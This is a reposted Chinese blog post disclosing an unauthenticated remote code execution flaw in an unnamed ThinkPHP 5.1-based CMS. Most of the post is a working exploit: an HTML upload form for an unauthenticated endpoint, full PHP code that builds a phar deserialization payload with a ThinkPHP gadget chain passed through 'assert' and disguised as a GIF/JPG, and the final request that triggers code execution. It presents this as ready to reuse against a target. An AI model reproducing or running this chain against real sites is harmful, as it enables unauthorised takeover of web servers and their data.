某cms最新版前台RCE漏洞(無需任何權限)2020-03-15


漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法:

 

 錯誤的使用了public,導致我們可以直接外部訪問。

然后使用了file_exists( 函數,導致可以觸發phar://反序列化。

common目錄下的文件不能直接訪問,只能通過繼承。

尋找繼承該類,並且不需要權限的文件。

注:只要繼承了webbase類的都需要權限。

尋找到該文件:application/xxxx/controller/Api.php 不需要權限。

再次需要能上傳文件的地方:

application/xxxx/controller/Api.php 類中的 upload方法:

exp:

<html>
<body>
<form action="http://xxxx.io/public/index.php/xxxx/Api/upload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>


<input type="file" name="file"/>  



<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

注:這里的name值必須為"file",否則沒有返回路徑。

因為使用的ThinkPHP 5.1所以只能存在POP鏈。

漏洞利用:

先使用exp生成文件:

<?php
namespace think\process\pipes;

class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files = [new \think\model\Pivot];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{

}

namespace think;
abstract class Model
{
    protected $append = [];
    private $relation = [];
    protected $visible = [];

    public function __construct()
    {
        $this->append = [
            'aa' => ['a']
        ];
        $this->relation = [
            'aa' => new Request,
        ];
        $this->visible = ['1'];
    }
}

class Request
{
    protected $hook = [];
    protected $filter;

    public function __construct()
    {
        $this->filter = 'assert';
        $this->hook = [
            'append' => [$this,'isAjax']
        ];
    }
}

$obj = new \think\process\pipes\Windows;

$phar = new \Phar("test.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub 增加gif文件頭
$phar->setMetadata($obj); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
$phar->stopBuffering();    //簽名自動計算

將test.phar 改名為:test.jpg 然后利用上面的上傳代碼上傳。獲取到返回路徑。

在直接訪問:

http://xxxx.io/public/index.php/xxxx/Api/getAddonTemplate?templateFile=phar://./uploads/picture/20200315/5e6dd00f04022.jpg&_ajax=phpinfo();

替換templateFile為你上傳的路徑,造成代碼執行。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM